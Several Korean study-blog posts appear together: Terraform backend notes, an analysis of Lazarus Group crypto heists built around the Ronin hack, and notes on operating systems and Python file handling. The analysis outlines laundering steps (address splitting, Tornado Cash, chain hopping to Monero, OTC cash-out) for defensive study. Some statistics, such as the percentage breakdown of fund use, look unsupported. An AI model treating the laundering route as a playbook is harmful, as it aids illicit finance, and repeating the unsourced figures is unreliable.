  key = "prod/terraform.tfstate"
}

옵션 2: 아예 버킷 자체를 분리

# dev
backend "s3" {
  bucket = "team2sec-tfstate-dev"
}

# prod
backend "s3" {
  bucket = "team2sec-tfstate-prod"
}

일단 dev만 있으니 나중에 결정하기로.

다음 단계

내일 할 일

• bootstrap 실제 AWS에 배포
• GitHub Secrets에 AWS_ROLE_ARN, AWS_REGION 등록
• GitHub Actions workflow 테스트
• DVWA EC2 모듈 초안 작성
• CloudWatch Agent user_data 스크립트 작성

다음 주 계획

• EC2 모듈 PR 생성 (feature/infra-ec2-dvwa)
• Kinesis Stream 모듈 설계
• ECS Fargate 구성 검토
• OpenSearch 도메인 설정 연구

마치며

오늘은 인프라 코드 구조를 잡는 데 집중했음. 실제 리소스는 아직 없지만, 기반은 탄탄하게 깔았다고 생각함.

bootstrap부터 배포하고 나면 본격적으로 리소스들을 올릴 수 있을 것 같음. CI/CD 파이프라인 돌아가는 거 보면 진짜 뿌듯할 듯.

NAT Instance 설정하면서 라우팅 테이블이랑 보안 그룹 설정 손으로 해보는 것도 좋은 경험이었음. 이론으로만 알던 걸 직접 하니까 이해가 확실히 깊어짐.

다음 포스트에서는 bootstrap 배포 과정과 첫 번째 리소스 모듈(EC2) 작성 과정을 정리할 예정임.

참고 자료:

• Terraform AWS Provider 공식 문서
• Terraform Module 작성 가이드
• AWS VPC 설계 베스트 프랙티스
• Team2SeC 프로젝트 GitHub Repository (비공개)

작성 목적: 보안 업계 사고 분석 문서 (궁금증) 자료 출처: UN 보고서, FBI 발표, Chainalysis 블록체인 분석, OFAC 제재 리스트

1. 들어가며

북한 배후 해킹 조직 라자루스 그룹(Lazarus Group)은 2016년부터 현재까지 암호화폐 거래소와 DeFi 프로토콜을 타겟으로 약 30억 달러 이상을 탈취한 것으로 추정됨 (UN 안전보장이사회 보고서, 2023).

핵심 연구 질문

1. 블록체인은 투명한데 어떻게 자금을 세탁했나?
2. 국제 사회의 추적을 어떻게 피했나?
3. 탈취한 암호화폐를 실제로 현금화할 수 있었나?

이 문서는 검증된 사례 중심으로 라자루스의 공격 기법과 자금 세탁 프로세스를 분석함.

2. 라자루스 그룹 개요

2.1 조직 정보

2.2 주요 목적

UN 전문가 패널 보고서(2022)에 따르면:

• 북한의 핵무기·미사일 개발 자금 조달
• 국제 제재로 인한 외화 부족 해소
• 연간 2억~10억 달러 규모 탈취 추정

3. 주요 해킹 사례 (검증된 사건)

3.1 사례 요약

총 피해액: 약 20억 달러 이상 (확인된 사건만)

4. 공격 기법 분석

4.1 Ronin Network 해킹 (2022) - 상세 케이스

FBI가 공식 귀속한 케이스로 가장 상세히 분석된 사례임.

4.1.1 타겟 정보

• 대상: Ronin Network (Axie Infinity 게임 블록체인)
• 날짜: 2022년 3월 23일
• 피해액: $625M (ETH 173,600개 + USDC $25.5M)

4.1.2 공격 과정 (FBI 발표 기반)

1단계: 정찰 및 침투 (2021년 후반~)

타겟 선정
└─ Sky Mavis (Ronin 개발사) 직원 LinkedIn 분석
└─ 핵심 개발자 특정
└─ 소셜 엔지니어링 준비

공격 방식:

• LinkedIn을 통해 Sky Mavis 직원에게 접근
• 가짜 채용 제안 ("Web3 Senior Engineer" 포지션)
• PDF 이력서 형태의 악성코드 전송

2단계: 검증자 키 탈취

Ronin 브릿지 구조:

• 9개 검증자(Validator) 중 5개 서명 필요 (Multi-sig)
• Sky Mavis가 4개 검증자 운영 (집중화 문제)

라자루스가 탈취한 키:

1. Sky Mavis 검증자 4개 (내부망 침투로 획득)
2. Axie DAO 검증자 1개 (별도 공격)
3. 총 5/9 달성 → 출금 권한 획득

3단계: 자금 탈취

2022년 3월 23일 실행된 트랜잭션:

• 173,600 ETH (당시 $594M)
• 25.5M USDC
• 승인: 5/9 서명 ✓
• 상태: Success (Etherscan 기록)

4단계: 발각 지연

• 해킹 후 6일간 발견 못함
• 3월 29일 유저 출금 불가로 신고
• 그때서야 Sky Mavis가 해킹 확인

4.2 공격 기법 정리

공통 패턴 (Chainalysis 분석 기반)

주요 특징

1. 시간 투자: 침투부터 실행까지 수개월~1년 소요
2. 완벽한 계획: 백업 없이 한 번에 전액 탈취
3. 기술력: Multi-sig 우회, 스마트 컨트랙트 취약점 악용

5. 자금 세탁 프로세스

5.1 전체 흐름도

[해킹한 지갑]
    ↓
[즉시 분산] → 수백~수천 개 주소
    ↓
[믹싱 서비스] → Tornado Cash 등
    ↓
[체인 호핑] → ETH → BTC → XMR
    ↓
[OTC 거래] → 중국 브로커
    ↓
[최종 현금화]

5.2 단계별 상세 분석

5.2.1 즉시 분산 (Peel Chain)

Chainalysis가 추적한 패턴:

해킹 직후:
[메인 지갑: $625M]
    ↓ 30분 이내
[주소 1: $2M]
[주소 2: $1.5M]
[주소 3: $3M]
...
[주소 N: $0.8M]

목적:

• 추적 복잡도 증가
• 블랙리스트 우회 (소액으로 나눠서)
• 동시 다발적 이동으로 혼란 유발

5.2.2 Tornado Cash 활용

Tornado Cash란?

• 이더리움 기반 믹싱 프로토콜
• 스마트 컨트랙트로 작동 (탈중앙화)
• 입금과 출금 연결 끊기

라자루스 사용 패턴 (Chainalysis 보고서):

대응: 미국 재무부 2022년 8월 Tornado Cash 제재 → 사용 금지

5.2.3 체인 호핑 (Chain Hopping)

관찰된 경로 (Elliptic 분석):

ETH (해킹한 코인)
    ↓ DEX (탈중앙 거래소)
BTC (비트코인)
    ↓ Bridge
BSC (바이낸스 스마트체인)
    ↓ Swap
USDT (스테이블코인)
    ↓
XMR (모네로) ← 여기서 추적 끊김

모네로(Monero)의 특성:

• Ring Signature: 발신자 익명화
• Stealth Address: 수신자 익명화
• Ring CT: 거래 금액 암호화
• → 추적 기술적으로 불가능

5.2.4 OTC(장외) 거래

UN 보고서(2023)가 확인한 경로:

1. 중국 OTC 브로커 활용

   • 심천(深圳), 홍콩 지역 중심
   • 수수료: 30-40%
   • 신원 확인 없음

2. 거래 방식

    라자루스 → XMR 전송
    브로커 → 위안화/USDT 지급
    (출처 묻지 않음)

3. 최종 현금화

   • 북한 무역 회사 명의
   • "정상 무역 대금"으로 위장
   • 중국-북한 국경 거래

6. 추적 및 회수 현황

6.1 Ronin 해킹 추적 결과

Chainalysis 최종 보고서 (2023.06):

추적 불가 이유:

• Tornado Cash 통한 세탁 ($455M)
• 이후 모네로 전환 추정
• 블록체인 상 흔적 소멸

6.2 국제 대응

미국 제재 (OFAC):

2022년 5월 라자루스 연관 지갑 주소 제재:

• 총 280개 이더리움 주소 블랙리스트
• 거래소 자동 차단 시스템
• 효과: 신규 해킹 자금은 일부 동결 성공

한계:

• 이미 세탁된 자금은 추적 불가
• 탈중앙 프로토콜은 제재 우회 가능
• 새 주소 생성으로 계속 활동

7. 현금화 성공률 분석

7.1 UN 추정치

UN 안보리 보고서 (2023.02):

2017-2022 총 탈취액: $3B 추정
현금화 성공: $2B - 2.4B (70-80%)
북한 유입 추정: $1.5B - 2B

자금 용도 (UN 전문가 패널):

• 핵무기 개발: 40%
• 미사일 프로그램: 30%
• 엘리트 생활 유지: 20%
• 해킹 인프라: 10%

7.2 성공 요인

8. 핵심 교훈

8.1 기술적 교훈

1. Multi-sig도 안전하지 않음

   • Ronin: 한 조직이 5/9 소유 → 집중화 위험
   • 교훈: 검증자 분산, 독립성 확보 필수

2. 소셜 엔지니어링이 가장 강력함

   • 기술적 보안 < 인간 심리
   • 직원 보안 교육 중요성

3. 탈중앙화의 양날의 검

   • 검열 저항성 = 범죄자도 차단 못함
   • Tornado Cash 제재해도 Fork 가능

8.2 대응 전략

개인/조직 차원

✓ Multi-sig 검증자 완전 분산
✓ 타임락(Time-lock) 적용 (24-48시간 지연)
✓ 이상 거래 실시간 모니터링
✓ 소셜 엔지니어링 대응 교육
✓ 정기적 보안 감사

산업 차원

✓ 블랙리스트 주소 공유 (Chainalysis Reactor)
✓ 거래소 간 정보 공유 체계
✓ 규제 당국과 협력 강화
✓ 보험 상품 개발

9. 최신 동향 (2024-2025)

9.1 공격 기법 진화

Chainalysis 2024 보고서:

1. AI 활용 증가

   • 딥페이크 화상 면접
   • AI 생성 코드로 백도어
   • 자동화된 피싱

2. DeFi 집중 타겟

   • 2024년 피해의 80%가 DeFi
   • 스마트 컨트랙트 취약점 악용
   • 크로스체인 브릿지 선호

3. 새로운 세탁 경로

   • NFT 워싱
   • 게임 아이템 거래
   • Layer 2 네트워크 악용

9.2 대응 기술 발전

긍정적 변화:

• Chainalysis, Elliptic 등 분석 도구 발전
• 거래소 KYC 강화 (Travel Rule 적용)
• 국제 공조 프로세스 개선

여전한 한계:

• 모네로 등 프라이버시 코인 추적 불가
• 탈중앙화 프로토콜 통제 어려움
• 북한이라는 안전지대 존재

10. 결론

주요 발견

1. 라자루스는 실제로 수십억 달러를 현금화했다

   • 성공률: 70-80%
   • 블록체인 투명성에도 불구하고

2. 핵심 세탁 도구

   • Tornado Cash (2022년까지)
   • Monero (현재 주력)
   • 중국 OTC 시장

3. 막을 수 없는 이유

   • 기술적: 프라이버시 코인, 탈중앙화
   • 정치적: 북한이라는 안전지대
   • 경제적: 고액 수수료 = 협력자 생김

향후 전망

비관적 시나리오:

• 라자루스 활동 지속 예상
• 북한 경제 제재 지속 → 동기 유지
• 새로운 세탁 기법 계속 개발

대응 방향:

• 기술적 방어 강화 (Zero Trust, MPC 월렛)
• 국제 공조 강화 (실시간 정보 공유)
• 탈중앙화와 규제의 균형점 찾기

참고 문헌

1. UN Security Council, "Report of the Panel of Experts on DPRK Sanctions", 2023
2. FBI, "DPRK Cyber Threats to the U.S. Financial Sector", 2022
3. Chainalysis, "The 2023 Crypto Crime Report"
4. U.S. Department of Treasury, OFAC Sanctions List
5. Elliptic, "Lazarus Group: A Deep Dive into North Korea's Cyber Threat"
6. Mandiant, "APT38: Un-usual Suspects"

• 목적: 운영체제에 대해 이해하자
• 범위: 운영체제의 개념과 기능 -> 윈도우의 이해 -> 리눅스/유닉스의 이해

🎯 목표 (Milestones)

• M1: 운영체제의 개념과 기능에 대해 알아보자
• M2: 윈도우에 대해 알아보자
• M3: 리눅스/유닉스에 대해 이해하자

아키텍처 & 구성

• 운영체제의 개념과 기능
• 윈도우의 이해
• 리눅스/유닉스의 이해

작업 목록 (Tasks)

운영체제의 개념과 기능

운영체제의 개념

윌리엄 스탈링스는 운영체제란 사용자가 컴퓨터 시스템을 손쉽게 사용하도록 하고, 시스템 자원(기억장치, 프로세서, 입출력 장치, 정보, 네트워크등을) 효율적으로 관리할 수 있도록 하는 프로그램 집합 이라고 정의했다.

운영체제를 엄마, 운영체제에서 실행되는 프로그램등을 아이들로 생각하면 편할듯하다. 곁에서 잘 작동되게 도와주고 그러는 역할이 운영체제이기 때문에

운영체제의 기능

운영체제는 종류가 많은데 일단 PC 구성을 기준으로 기능을 살펴보자 일반 PC는 단일 사용자 운영체제 구성 모델, 즉 사용자 명령 인터페이스를 중심으로 메모리 관리자, 프로세서 관리자, 장치 관리자, 파일 관리자 등 네가지 서브시스템 관리자로 기본 구성된다. 그리고 네트워크를 지원하는 운영체제라면 네트워크 관리자가 추가된다.

사용자 명령 인터페이스

사용자 인터페이스는 사용자와 시스템의 대화수단 DOS나 유닉스에서는 검은색 화면에 푸른색 커서가 깜박깜박하는 셸이 대화 수단이었다. 요즘에는 대부분 GUI를 적용하기에 여러 인터페이스 이용하여 시스템과 대화한다.(예:마우스같은거)

서브시스템 관리자

• 메모리 관리자 프로그램이 메모리 요청하면 적합성 점검후 적합하다 판단하면 메모리 할당 또 할당된 메모리 다른 프로그램이 접근 못하게 관리
• 프로세서 관리자 프로그램을 실행하려면 프로세서가 프로그램 코드를 구성하는 명령어를 하나씩 수행해야함 이때 프로세서 관리자는 명령어들을 체계적이고 효율적으로 실행할 수 있도록 스케줄링 및 사용자의 작업 요청을 수용하거나 거부함
• 장치 관리자 시스템 안의 모든 장치를 프로그램에 할당하거나 회수함
• 파일 관리자 시스템 안의 데이터, 모든 파일에 사용자별로 파일 접근 권환 부여하며, 접근 권한에 따라 파일을 할당하고 해제함
• 네트워크 관리자 네트워크에서 접근 가능한 CPU 메모리, 프린터, 디스크 드라이버, 모델, 모니터 같은 자원관리

윈도우의 이해

윈도우의 구조

윈도우의 커널구조와 파일 시스템 구조를 알아본다.

먼저 커널이란 운영체제의 중심에 위치하며, 운영체에서 어떤 작업을 시작하더라도 커널 동작으로 제어한다. 즉, 커널은 인터럽트 처리, 프로세스관리, 메모리 관리, 파일 시스템 관리, 프로그래밍 인터페이스 제공 등 운영체제 기본 기능을 제공하는 핵심이라고 할 수 있다.

참고: 인터럽트란?? 작동 중인 컴퓨터에서 예기치 않은 문제가 발생한 경우 CPU가 하드웨어적으로 상태를 체크하여 변화에 대응하는것

윈도우의 커널 구조

커널이 손상되지 않도록 접근 가능한 메모리에 로드하지않음 커널이 손상되면 부팅할때 블루 스크린을 표시함

윈도우 시스템은 보통 링구조로 되어있다. 맨 밑에서 부터 하드웨어 -> 하드웨어 제어하는 HAL -> 마이크로 커널 -> 각종 관리자 -> 운영체제에서 동작하는 갖가지 응용 프로그램 순으로 위치함

커널모드는 기본적으로 사용자가 접근할 수 없는 영역으로, 프로그램을 실행하는 기본관리 시스템이 위치함 윈도우는 사용자가 프로그램을 만들고 실행하는 모든 과정을 사용자 모드에서만 가능하도록 설계했으나, 완벽하게 구현하지 못함 (예를들어 윈도우에서는 마이크로 커널이 HAL을 무시하고 하드웨어와 통신할수있는데 이것에서 보안의 허점이.)

다음으로 마이크로 커널이 있다. 본래 커널은 현재 관리자 들이 하던 일을 도맡아 했는데 이걸 여러 관리자에게 분담시키고 자신은 하드웨어와 하는 통신만 제어함으로써 최소한의 커널이 되었는데 이를 마이크로 커널이라 한다.

다음으로 관리자의 역할을 알아보자

• 입출력 관리자 시스템의 입출력 제어
• 개체 관리자 각 개체 정보 제공
• 보안 참조 관리자 각 데이터나 시스템 자원의 제어 허가및 거부함으로서 보안 설정 책임
• 프로세스 관리자 스레드 생성, 요청에 따라 처리
• 로컬 프로시저 호출 관리자 각 프로세스는 서로의 메모리 공간 침범하기 때문에 프로세스간 통신이 필요할때는 이를 대신할 장치가 필요한데 이게 그것이다
• 가상 메모리 관리자 요청에 따라 RAM메모리 할당하고 가상 메모리의 페이징을 제어함
• 그래픽 장치 관리자 화면에 선이나 곡선 그리거나 폰트등 관리
• 기타 관리자 캐시 관리자,PNP관리자, 전원 관리자등이 있다.

리눅스/유닉스의 이해

리눅스/유닉스의 구조

유닉스 커널은 윈도우처럼 개별관리자 존재x

유닉스에는 커널을 거대한 프로그램 덩어리로 만든 모놀리식 커널과 개별 모듈로 구성된 마이크로 커널이 있다.

모놀리식 커널은 거대한 커널이 모든 기능을 수행하도록 만들어졌으며 안정적이지만 문제가 발생하면 부분수정이 어렵다. 모놀리식 커널은 일반 시스템 보다 거대한 슈퍼컴퓨터에 많이 적용된다.

유닉스에서의 마이크로 커널은 모듈 여러 개가 모여 커널 하나를 이루는 개념이다. 개별 모듈의 업로드와 언로드가 가능하다. 그러나 각 모듈 권한이 동일하여 잘못된 모듈을 업로드하면 커널 전체가 망가질수있다. 부분 모듈의 업로드를 이용하여 커널에 백도어를 심을수도 있다.

유닉스 링구조를 살펴보면 하드웨어, 커널, 셸, 응용프로그램 으로 구성되어있다. 링 개수가 많을수록 보안 레벨은 높지만 그렇다고 윈도우가 유닉스 보다 보안 레벨이 높다할수없다. 유닉스 링구조는 윈도우보다더 명확하게 구분되어있기 때문이다.

/ (루트 디렉토리)

• 모든 디렉토리의 시작점.

• 유닉스 파일 시스템의 최상위에 해당.

/bin

• 기본 명령어 바이너리(실행 파일) 저장.

• 시스템 부팅이나 최소한의 운영에 꼭 필요한 명령어 (ls, cp, mv, rm, cat, echo, bash 등).

/sbin

• 시스템 관리용 명령어 저장.

• 보통 루트 사용자만 실행 (shutdown, reboot, mkfs, fsck 등).

/etc

• 설정 파일 위치.

• 네트워크, 사용자, 서비스 등 시스템 환경을 제어하는 설정 (passwd, fstab, hosts, ssh/ 등).

/dev

• 디바이스 파일 저장.

• 하드웨어 장치를 파일처럼 다룰 수 있도록 한 인터페이스 (/dev/sda, /dev/null, /dev/tty 등).

/proc

• 커널과 프로세스 정보 제공 (가상 파일 시스템).

• 실제 디스크에 저장된 게 아니라 메모리 기반.

• 예: /proc/cpuinfo, /proc/meminfo, /proc/[PID]

/var

• 가변 데이터 저장.

• 로그(log/), 메일(mail/), 캐시(cache/), 스풀(spool/) 등 실행하면서 계속 바뀌는 파일들.

/usr

• 사용자용 프로그램과 라이브러리 저장.

• /usr/bin → 일반 사용자 실행 명령어

• /usr/sbin → 시스템 관리용 실행 파일

• /usr/lib → 라이브러리

• /usr/share → 매뉴얼, 문서, 공용 데이터

/home

• 각 사용자들의 홈 디렉토리.

• 개인 파일, 설정 파일 등이 위치 (/home/junha 같은 느낌).

/root

• 슈퍼유저(root) 의 홈 디렉토리.

• 일반 사용자의 /home과 분리되어 있음.

/tmp

• 임시 파일 저장 공간.

• 프로그램 실행 중 생성되는 임시 데이터.

• 재부팅 시 대부분 삭제됨.

/boot

• 부팅 관련 파일 저장.

• 커널 이미지(vmlinuz), 초기 램 디스크(initrd), 부트로더 설정 등이 들어있음.

/lib, /lib64

• 공용 라이브러리 저장.

• 시스템 부팅 및 기본 프로그램 실행에 필요한 .so 파일들.

• 커널 모듈(modules/)도 여기 있음.

/opt

• 추가 애플리케이션 설치 경로.

• 상용 소프트웨어나 별도로 설치한 프로그램이 들어가는 경우가 많음.

/mnt, /media

• 외부 장치 마운트 지점.

• /mnt → 관리자가 임시로 마운트할 때

• /media → USB, CD-ROM 등 자동 마운트되는 장치

/srv

• 서비스 데이터 저장소.

• 웹 서버(/srv/www), FTP 서버(/srv/ftp) 등의 실제 데이터가 위치.

관련 리소스

• 시스템 해킹과 보안서적 참고

느낀점& 배운점&나아가야할점

• 느낀점: 이론 배경지식부터 가지고 시스템해킹을 공부했다면 더 수월하지 않았을까 한다.
• 배운점: 여러 관리자 부터 구조와 링구조및 다양한 것들을 배울수있었다.
• 나아가야할점: 다음장은 어셈블리어 레지스터 같은것들이다! 힘내자!

• 목적: 파이썬에서 파일을 읽고 쓰는 방법을 이해하고, 다양한 모드와 활용법을 익힌다.
• 범위:open() 함수, 파일 모드(r, w, a), read, readline, readlines, with문, CSV 파일 처리.

🎯 목표 (Milestones)

• M1: 파일 열기/쓰기/읽기 이해
• M2: 인코딩과 줄바꿈 처리 이해
• M3: CSV 파일 다루기 및 디버깅 기법 이해

아키텍처 & 구성

• 구성: 이론 + 예제 코드 + 실습 문제

작업 목록 (Tasks)

파일 열기와 모드

이론

• 파일은 open(파일명, 모드)로 연다.

• 주요 모드

  • r : 읽기 (read)

  • w : 쓰기 (write, 기존 내용 삭제됨)

  • a : 추가 (append, 기존 내용 뒤에 이어쓰기)

f = open("a.txt", "w")  # 쓰기 모드로 파일 생성
f.write("Hello World")
f.close()

파일 쓰기

이론

• 파일객체.write(내용)으로 텍스트 기록

• 기존 파일에 덮어쓰기 → 원본 내용이 모두 사라짐

f = open("test.txt", "w")
f.write("첫 번째 줄\n")
f.write("두 번째 줄\n")
f.close()

파일 읽기

read()

• 전체 내용을 문자열로 읽음

f = open("test.txt", "r", encoding="utf-8")
data = f.read()
print(data)
f.close()

readline()

• 한 줄씩 읽음, 개행문자 \n 포함됨

f = open("test.txt", "r", encoding="utf-8")
line = f.readline()
print(line.strip())  # strip()으로 개행 제거
f.close()

readlines()

• 파일 내용을 리스트 형태로 읽음

f = open("test.txt", "r", encoding="utf-8")
lines = f.readlines()
for l in lines:
    print(l.strip())
f.close()

인코딩

이론

• 컴퓨터는 문자를 직접 인식하지 못하므로 → 숫자 코드와 매핑

• 인코딩(Encoding): 문자 → 코드

• 디코딩(Decoding): 코드 → 문자

주요 방식

• UTF-8 : 전 세계 문자 표현 가능, 한글 1자 = 3byte

• EUC-KR : 한글/한국 한자/영문 가능, 한글 1자 = 2byte

추가 모드 (a)

f = open("test.txt", "a")
f.write("추가된 줄\n")
f.close()

기존 내용 뒤에 이어서 기록

with문

이론

• with문 사용 시 파일을 자동으로 close() 처리

• 코드가 간결해지고 안전함

with open("test.txt", "r", encoding="utf-8") as f:
    data = f.read()
    print(data)

CSV 파일 다루기

이론

• CSV(Comma-Separated Values): 데이터가 , 로 구분된 텍스트 형식

• 엑셀/메모장/데이터 분석에서 많이 활용

import csv

with open("data.csv", "w", newline="", encoding="utf-8") as f:
    writer = csv.writer(f)
    writer.writerow(["이름", "나이", "국가"])
    writer.writerow(["철수", 25, "한국"])
    writer.writerow(["John", 30, "USA"])

디버깅 팁

• breakpoint (중단점): 코드 실행 중 특정 지점에서 멈춤 (Ctrl + F8)

• Step Over: 한 줄씩 실행 (F10)

• 파일 읽기/쓰기 동작을 디버그하며 확인 가능

관련 리소스

• 강사님 자료

느낀점& 배운점&나아가야할점

• 느낀점: 파일 입출력은 데이터를 다루는 그런거구나 라고 싶음
• 배운점: open, with, read, write의 차이와, CSV 파일의 구조를 배움
• 나아가야할점: 안 공부에도 로그 파일이나 데이터 수집이 중요한 만큼, 파일 다루기 연습을 더 해야겠다.